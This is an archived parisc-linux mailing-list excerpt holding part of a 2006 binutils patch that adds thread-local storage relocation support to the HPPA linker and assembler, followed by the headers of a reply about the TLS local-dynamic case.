+		  else if ((*local_tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+		    srel->size += sizeof (Elf32_External_Rela);
+	        }
 	    }
 	  else
 	    *local_got = (bfd_vma) -1;
+
+	  ++local_tls_type;
 	}
 
       local_plt = end_local_got;
@@ -2260,6 +2393,17 @@ elf32_hppa_size_dynamic_sections (bfd *o
 	    }
 	}
     }
+  
+  if (htab->tls_ldm_got.refcount > 0)
+    {
+      /* Allocate 2 got entries and 1 dynamic reloc for R_SH_TLS_LD_32
+	 relocs.  */
+      htab->tls_ldm_got.offset = htab->sgot->size;
+      htab->sgot->size += (GOT_ENTRY_SIZE * 2);
+      htab->srelgot->size += sizeof (Elf32_External_Rela);
+    }
+  else
+    htab->tls_ldm_got.offset = -1;
 
   /* Do all the .plt entries without relocs first.  The dynamic linker
      uses the last .plt reloc to find the end of the .plt (and hence
@@ -2670,7 +2814,7 @@ get_local_syms (bfd *output_bfd, bfd *in
 		  struct elf32_hppa_stub_hash_entry *hsh;
 
 		  sec = hh->eh.root.u.def.section;
-		  stub_name = hh->eh.root.root.string;
+		  stub_name = hh_name (hh);
 		  hsh = hppa_stub_hash_lookup (&htab->bstab,
 						      stub_name,
 						      FALSE, FALSE);
@@ -3104,6 +3248,35 @@ elf32_hppa_build_stubs (struct bfd_link_
   return TRUE;
 }
 
+/* Return the base vma address which should be subtracted from the real
+   address when resolving a dtpoff relocation.  
+   This is PT_TLS segment p_vaddr.  */
+
+static bfd_vma
+dtpoff_base (struct bfd_link_info *info)
+{
+  /* If tls_sec is NULL, we should have signalled an error already.  */
+  if (elf_hash_table (info)->tls_sec == NULL)
+    return 0;
+  return elf_hash_table (info)->tls_sec->vma;
+}
+
+/* Return the relocation value for R_PARISC_TLS_TPOFF*..  */
+
+static bfd_vma
+tpoff (struct bfd_link_info *info, bfd_vma address)
+{
+  struct elf_link_hash_table *htab = elf_hash_table (info);
+
+  /* If tls_sec is NULL, we should have signalled an error already.  */
+  if (htab->tls_sec == NULL)
+    return 0;
+  /* hppa TLS ABI is variant I and static TLS block start just after 
+     tcbhead structure which has 2 pointer fields.  */
+  return (address - htab->tls_sec->vma 
+	  + align_power ((bfd_vma) 8, htab->tls_sec->alignment_power));
+}
+
 /* Perform a final link.  */
 
 static bfd_boolean
@@ -3315,6 +3488,12 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND21L:
     case R_PARISC_DLTIND14R:
     case R_PARISC_DLTIND14F:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_GD14R:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_LDM14R:
+    case R_PARISC_TLS_IE21L:
+    case R_PARISC_TLS_IE14R:
       value -= elf_gp (input_section->output_section->owner);
       break;
 
@@ -3342,6 +3521,9 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND14F:
     case R_PARISC_SEGBASE:
     case R_PARISC_SEGREL32:
+    case R_PARISC_TLS_DTPMOD32:
+    case R_PARISC_TLS_DTPOFF32:
+    case R_PARISC_TLS_TPREL32:
       r_field = e_fsel;
       break;
 
@@ -3353,6 +3535,11 @@ final_link_relocate (asection *input_sec
 
     case R_PARISC_DIR21L:
     case R_PARISC_DPREL21L:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_LDO21L:
+    case R_PARISC_TLS_IE21L:
+    case R_PARISC_TLS_LE21L:
       r_field = e_lrsel;
       break;
 
@@ -3366,6 +3553,11 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DIR17R:
     case R_PARISC_DIR14R:
     case R_PARISC_DPREL14R:
+    case R_PARISC_TLS_GD14R:
+    case R_PARISC_TLS_LDM14R:
+    case R_PARISC_TLS_LDO14R:
+    case R_PARISC_TLS_IE14R:
+    case R_PARISC_TLS_LE14R:
       r_field = e_rrsel;
       break;
 
@@ -3460,6 +3652,14 @@ final_link_relocate (asection *input_sec
   return bfd_reloc_ok;
 }
 
+static int
+elf32_hppa_optimized_tls_reloc (struct bfd_link_info *info ATTRIBUTE_UNUSED,
+				int r_type, int is_local ATTRIBUTE_UNUSED)
+{
+  /* For now we don't support linker optimizations.  */
+  return r_type;
+}
+
 /* Relocate an HPPA ELF section.  */
 
 static bfd_boolean
@@ -3546,7 +3746,7 @@ elf32_hppa_relocate_section (bfd *output
 		  && eh->type == STT_PARISC_MILLI)
 		{
 		  if (! info->callbacks->undefined_symbol
-		      (info, eh->root.root.string, input_bfd,
+		      (info, eh_name (eh), input_bfd,
 		       input_section, rela->r_offset, FALSE))
 		    return FALSE;
 		  warned_undef = TRUE;
@@ -3875,6 +4075,198 @@ elf32_hppa_relocate_section (bfd *output
 	      bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
 	    }
 	  break;
+	  
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  {
+	    bfd_vma off;
+	
+	    off = htab->tls_ldm_got.offset;
+	    if (off & 1)
+	      off &= ~1;
+	    else
+	      {
+		Elf_Internal_Rela outrel;
+		bfd_byte *loc;
+
+		outrel.r_offset = (off 
+				   + htab->sgot->output_section->vma
+				   + htab->sgot->output_offset);
+		outrel.r_addend = 0;
+		outrel.r_info = ELF32_R_INFO (0, R_PARISC_TLS_DTPMOD32);
+		loc = htab->srelgot->contents; 
+		loc += htab->srelgot->reloc_count++ * sizeof (Elf32_External_Rela);
+
+		bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+		htab->tls_ldm_got.offset |= 1;
+	      }
+
+	    /* Add the base of the GOT to the relocation value.  */
+	    relocation = (off
+			  + htab->sgot->output_offset
+			  + htab->sgot->output_section->vma);
+
+	    break;
+	  }
+
+	case R_PARISC_TLS_LDO21L:
+	case R_PARISC_TLS_LDO14R:
+	  relocation -= dtpoff_base (info);
+	  break;
+
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
+	  {
+	    bfd_vma off;
+	    int indx;
+	    char tls_type;
+
+	    indx = 0;
+	    if (hh != NULL)
+	      {
+	        bfd_boolean dyn;
+	        dyn = htab->etab.dynamic_sections_created;
+
+		if (WILL_CALL_FINISH_DYNAMIC_SYMBOL (dyn, info->shared, &hh->eh)
+		    && (!info->shared
+			|| !SYMBOL_REFERENCES_LOCAL (info, &hh->eh)))
+		  {
+		    indx = hh->eh.dynindx;
+		  }
+		off = hh->eh.got.offset;
+		tls_type = hh->tls_type;
+	      }
+	    else
+	      {
+		off = local_got_offsets[r_symndx];
+		tls_type = hppa_elf_local_got_tls_type (input_bfd)[r_symndx];
+	      }
+
+	    if (tls_type == GOT_UNKNOWN)
+	      abort();
+
+	    if ((off & 1) != 0)
+	      off &= ~1;
+	    else
+	      {
+		bfd_boolean need_relocs = FALSE;
+		Elf_Internal_Rela outrel;
+		bfd_byte *loc = NULL;
+		int cur_off = off;
+
+	        /* The GOT entries have not been initialized yet.  Do it
+	           now, and emit any relocations.  If both an IE GOT and a
+	           GD GOT are necessary, we emit the GD first.  */
+
+		if ((info->shared || indx != 0)
+		    && (hh == NULL
+			|| ELF_ST_VISIBILITY (hh->eh.other) == STV_DEFAULT
+			|| hh->eh.root.type != bfd_link_hash_undefweak))
+		  {
+		    need_relocs = TRUE;
+		    loc = htab->srelgot->contents; 
+		    /* FIXME (CAO): Should this be reloc_count++ ? */
+		    loc += htab->srelgot->reloc_count * sizeof (Elf32_External_Rela);
+		  }
+
+		if (tls_type & GOT_TLS_GD)
+		  {
+		    if (need_relocs)
+		      {
+			outrel.r_offset = (cur_off
+					   + htab->sgot->output_section->vma
+					   + htab->sgot->output_offset);
+			outrel.r_info = ELF32_R_INFO (indx,R_PARISC_TLS_DTPMOD32);
+			outrel.r_addend = 0;
+			bfd_put_32 (output_bfd, 0, htab->sgot->contents + cur_off);
+			bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+			htab->srelgot->reloc_count++;
+			loc += sizeof (Elf32_External_Rela);
+
+			if (indx == 0)
+			  bfd_put_32 (output_bfd, relocation - dtpoff_base (info),
+				      htab->sgot->contents + cur_off + 4);
+			else
+			  {
+			    bfd_put_32 (output_bfd, 0,
+					htab->sgot->contents + cur_off + 4);
+			    outrel.r_info = ELF32_R_INFO (indx, R_PARISC_TLS_DTPOFF32);
+			    outrel.r_offset += 4;
+			    bfd_elf32_swap_reloca_out (output_bfd, &outrel,loc);
+			    htab->srelgot->reloc_count++;
+			    loc += sizeof (Elf32_External_Rela);
+			  }
+		      }
+		    else
+		      {
+		        /* If we are not emitting relocations for a
+		           general dynamic reference, then we must be in a
+		           static link or an executable link with the
+		           symbol binding locally.  Mark it as belonging
+		           to module 1, the executable.  */
+		        bfd_put_32 (output_bfd, 1,
+				    htab->sgot->contents + cur_off);
+		        bfd_put_32 (output_bfd, relocation - dtpoff_base (info),
+				    htab->sgot->contents + cur_off + 4);
+		      }
+
+
+		    cur_off += 8;
+		  }
+
+		if (tls_type & GOT_TLS_IE)
+		  {
+		    if (need_relocs)
+		      {
+			outrel.r_offset = (cur_off
+					   + htab->sgot->output_section->vma
+					   + htab->sgot->output_offset);
+			outrel.r_info = ELF32_R_INFO (indx, R_PARISC_TLS_TPREL32);
+
+			if (indx == 0)
+			  outrel.r_addend = relocation - dtpoff_base (info);
+			else
+			  outrel.r_addend = 0;
+
+			bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+			htab->srelgot->reloc_count++;
+			loc += sizeof (Elf32_External_Rela);
+		      }
+		    else
+		      bfd_put_32 (output_bfd, tpoff (info, relocation),
+				  htab->sgot->contents + cur_off);
+
+		    cur_off += 4;
+		  }
+
+		if (hh != NULL)
+		  hh->eh.got.offset |= 1;
+		else
+		  local_got_offsets[r_symndx] |= 1;
+	      }
+
+	    if ((tls_type & GOT_TLS_GD)
+	  	&& r_type != R_PARISC_TLS_GD21L
+	  	&& r_type != R_PARISC_TLS_GD14R)
+	      off += 2 * GOT_ENTRY_SIZE;
+
+	    /* Add the base of the GOT to the relocation value.  */
+	    relocation = (off
+			  + htab->sgot->output_offset
+			  + htab->sgot->output_section->vma);
+
+	    break;
+	  }
+
+	case R_PARISC_TLS_LE21L:
+	case R_PARISC_TLS_LE14R:
+	  {
+	    relocation = tpoff (info, relocation);
+	    break;
+	  }
+	  break;
 
 	default:
 	  break;
@@ -3887,7 +4279,7 @@ elf32_hppa_relocate_section (bfd *output
 	continue;
 
       if (hh != NULL)
-	sym_name = hh->eh.root.root.string;
+	sym_name = hh_name (hh);
       else
 	{
 	  sym_name = bfd_elf_string_from_elf_section (input_bfd,
@@ -3996,7 +4388,9 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
 	}
     }
 
-  if (eh->got.offset != (bfd_vma) -1)
+  if (eh->got.offset != (bfd_vma) -1
+      && (hppa_elf_hash_entry (eh)->tls_type & GOT_TLS_GD) == 0
+      && (hppa_elf_hash_entry (eh)->tls_type & GOT_TLS_IE) == 0)
     {
       /* This symbol has an entry in the global offset table.  Set it
 	 up.  */
@@ -4057,8 +4451,8 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
     }
 
   /* Mark _DYNAMIC and _GLOBAL_OFFSET_TABLE_ as absolute.  */
-  if (eh->root.root.string[0] == '_'
-      && (strcmp (eh->root.root.string, "_DYNAMIC") == 0
+  if (eh_name (eh)[0] == '_'
+      && (strcmp (eh_name (eh), "_DYNAMIC") == 0
 	  || eh == htab->etab.hgot))
     {
       sym->st_shndx = SHN_ABS;
@@ -4073,6 +4467,17 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
 static enum elf_reloc_type_class
 elf32_hppa_reloc_type_class (const Elf_Internal_Rela *rela)
 {
+  /* Handle TLS relocs first; we don't want them to be marked
+     relative by the "if (ELF32_R_SYM (rela->r_info) == 0)"
+     check below.  */
+  switch ((int) ELF32_R_TYPE (rela->r_info))
+    {
+      case R_PARISC_TLS_DTPMOD32:
+      case R_PARISC_TLS_DTPOFF32:
+      case R_PARISC_TLS_TPREL32:
+        return reloc_class_normal;
+    }
+
   if (ELF32_R_SYM (rela->r_info) == 0)
     return reloc_class_relative;
 
Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.129
diff -u -p -r1.129 tc-hppa.c
--- gas/config/tc-hppa.c	25 Nov 2005 02:08:22 -0000	1.129
+++ gas/config/tc-hppa.c	8 Apr 2006 21:53:35 -0000
@@ -1215,6 +1215,26 @@ static struct default_space_dict pa_def_
   ((exp).X_op == O_subtract			\
    && strcmp (S_GET_NAME ((exp).X_op_symbol), "$PIC_pcrel$0") == 0)
 
+#define is_tls_gdidx(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_gdidx$") == 0)
+
+#define is_tls_ldidx(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_ldidx$") == 0)
+
+#define is_tls_dtpoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_dtpoff$") == 0)
+
+#define is_tls_ieoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_ieoff$") == 0)
+
+#define is_tls_leoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_leoff$") == 0)
+
 /* We need some complex handling for stabs (sym1 - sym2).  Luckily, we'll
    always be able to reduce the expression to a constant, so we don't
    need real complex handling yet.  */
@@ -1380,7 +1400,12 @@ fix_new_hppa (frag, where, size, add_sym
      it now so as not to confuse write.c.  Ditto for $PIC_pcrel$0.  */
   if (new_fix->fx_subsy
       && (strcmp (S_GET_NAME (new_fix->fx_subsy), "$global$") == 0
-	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$PIC_pcrel$0") == 0))
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$PIC_pcrel$0") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_gdidx$") == 0 
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_ldidx$") == 0 
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_dtpoff$") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_ieoff$") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_leoff$") == 0))
     new_fix->fx_subsy = NULL;
 }
 
@@ -1412,6 +1437,18 @@ cons_fix_new_hppa (frag, where, size, ex
     rel_type = R_HPPA_GOTOFF;
   else if (is_PC_relative (*exp))
     rel_type = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+  else if (is_tls_gdidx (*exp))
+    rel_type = R_PARISC_TLS_GD21L;
+  else if (is_tls_ldidx (*exp))
+    rel_type = R_PARISC_TLS_LDM21L;
+  else if (is_tls_dtpoff (*exp))
+    rel_type = R_PARISC_TLS_LDO21L;
+  else if (is_tls_ieoff (*exp))
+    rel_type = R_PARISC_TLS_IE21L;
+  else if (is_tls_leoff (*exp))
+    rel_type = R_PARISC_TLS_LE21L;
+#endif
   else if (is_complex (*exp))
     rel_type = R_HPPA_COMPLEX;
   else
@@ -2974,6 +3011,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 11;
@@ -3093,6 +3142,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3123,6 +3184,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3147,6 +3220,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3171,6 +3256,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 21;
@@ -3196,6 +3293,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3222,6 +3331,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -3248,6 +3369,18 @@ pa_ip (str)
 		    the_insn.reloc = R_HPPA_GOTOFF;
 		  else if (is_PC_relative (the_insn.exp))
 		    the_insn.reloc = R_HPPA_PCREL_CALL;
+#ifdef OBJ_ELF
+		  else if (is_tls_gdidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_GD21L;
+		  else if (is_tls_ldidx (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDM21L;
+		  else if (is_tls_dtpoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LDO21L;
+		  else if (is_tls_ieoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_IE21L;
+		  else if (is_tls_leoff (the_insn.exp))
+		    the_insn.reloc = R_PARISC_TLS_LE21L;
+#endif
 		  else
 		    the_insn.reloc = R_HPPA;
 		  the_insn.format = 14;
@@ -4658,6 +4791,25 @@ md_apply_fix (fixP, valP, seg)
       return;
     }
 
+#ifdef OBJ_ELF
+  switch (fixP->fx_r_type)
+    {
+      case R_PARISC_TLS_GD21L:
+      case R_PARISC_TLS_GD14R:
+      case R_PARISC_TLS_LDM21L:
+      case R_PARISC_TLS_LDM14R:
+      case R_PARISC_TLS_LE21L:
+      case R_PARISC_TLS_LE14R:
+      case R_PARISC_TLS_IE21L:
+      case R_PARISC_TLS_IE14R:
+        if (fixP->fx_addsy)
+	  S_SET_THREAD_LOCAL (fixP->fx_addsy);
+	break;
+      default:
+	break;
+    }
+#endif
+
   /* Insert the relocation.  */
   bfd_put_32 (stdoutput, insn, fixpos);
 }
Index: gas/config/tc-hppa.h
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.h,v
retrieving revision 1.30
diff -u -p -r1.30 tc-hppa.h
--- gas/config/tc-hppa.h	11 Aug 2005 01:25:25 -0000	1.30
+++ gas/config/tc-hppa.h	8 Apr 2006 21:53:35 -0000
@@ -175,7 +175,12 @@ int hppa_fix_adjustable PARAMS((struct f
 	|| (S_GET_SEGMENT (sym) == &bfd_abs_section \
 	    && ! S_IS_EXTERNAL (sym)) \
 	|| strcmp (S_GET_NAME (sym), "$global$") == 0 \
-	|| strcmp (S_GET_NAME (sym), "$PIC_pcrel$0") == 0) \
+	|| strcmp (S_GET_NAME (sym), "$PIC_pcrel$0") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_gdidx$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_ldidx$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_dtpoff$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_ieoff$") == 0 \
+	|| strcmp (S_GET_NAME (sym), "$tls_leoff$") == 0) \
       punt = 1; \
   }
 
Index: include/elf/hppa.h
===================================================================
RCS file: /cvs/src/src/include/elf/hppa.h,v
retrieving revision 1.20
diff -u -p -r1.20 hppa.h
--- include/elf/hppa.h	20 Mar 2006 01:07:29 -0000	1.20
+++ include/elf/hppa.h	8 Apr 2006 21:53:37 -0000
@@ -480,8 +480,28 @@ RELOC_NUMBER (R_PARISC_LTOFF_TP16DF,   2
 RELOC_NUMBER (R_PARISC_GNU_VTENTRY,    232)
 RELOC_NUMBER (R_PARISC_GNU_VTINHERIT,  233)
 
+RELOC_NUMBER (R_PARISC_TLS_GD21L,      234)
+RELOC_NUMBER (R_PARISC_TLS_GD14R,      235)
+RELOC_NUMBER (R_PARISC_TLS_GDCALL,     236)
+RELOC_NUMBER (R_PARISC_TLS_LDM21L,     237)
+RELOC_NUMBER (R_PARISC_TLS_LDM14R,     238)
+RELOC_NUMBER (R_PARISC_TLS_LDMCALL,    239)
+RELOC_NUMBER (R_PARISC_TLS_LDO21L,     240)
+RELOC_NUMBER (R_PARISC_TLS_LDO14R,     241)
+RELOC_NUMBER (R_PARISC_TLS_DTPMOD32,   242)
+RELOC_NUMBER (R_PARISC_TLS_DTPMOD64,   243)
+RELOC_NUMBER (R_PARISC_TLS_DTPOFF32,   244)
+RELOC_NUMBER (R_PARISC_TLS_DTPOFF64,   245)
+
 END_RELOC_NUMBERS (R_PARISC_UNIMPLEMENTED)
 
+#define R_PARISC_TLS_LE21L     R_PARISC_TPREL21L
+#define R_PARISC_TLS_LE14R     R_PARISC_TPREL14R
+#define R_PARISC_TLS_IE21L     R_PARISC_LTOFF_TP21L
+#define R_PARISC_TLS_IE14R     R_PARISC_LTOFF_TP14R
+#define R_PARISC_TLS_TPREL32   R_PARISC_TPREL32
+#define R_PARISC_TLS_TPREL64   R_PARISC_TPREL64
+
 #ifndef RELOC_MACROS_GEN_FUNC
 typedef enum elf_hppa_reloc_type elf_hppa_reloc_type;
 #endif



------=_Part_15975_6684572.1144533648631
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_15975_6684572.1144533648631--



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Q: TLS local dynamic case and zero initialized
	ti_offset?
Date: Sat, 8 Apr 2006 18:16:13 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440604081516v7613ab2and79c35d084e83cba@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624049 18881 80.91.229.3 (22 Nov 2014 02:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:49 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2006 22:16:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 09 Apr 2006 00:16:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A10677D682;
	Sat,  8 Apr 2006 16:16:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04427-08; Sat, 8 Apr 2006 16:16:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22A7E7D67C;
	Sat,  8 Apr 2006 16:16:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86E1A7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 16:16:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04427-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Apr 2006 16:16:13 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.196])
	by free.linux.hp.com (Postfix) with ESMTP id B22D37D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 16:16:13 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so719714nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 08 Apr 2006 15:16:13 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
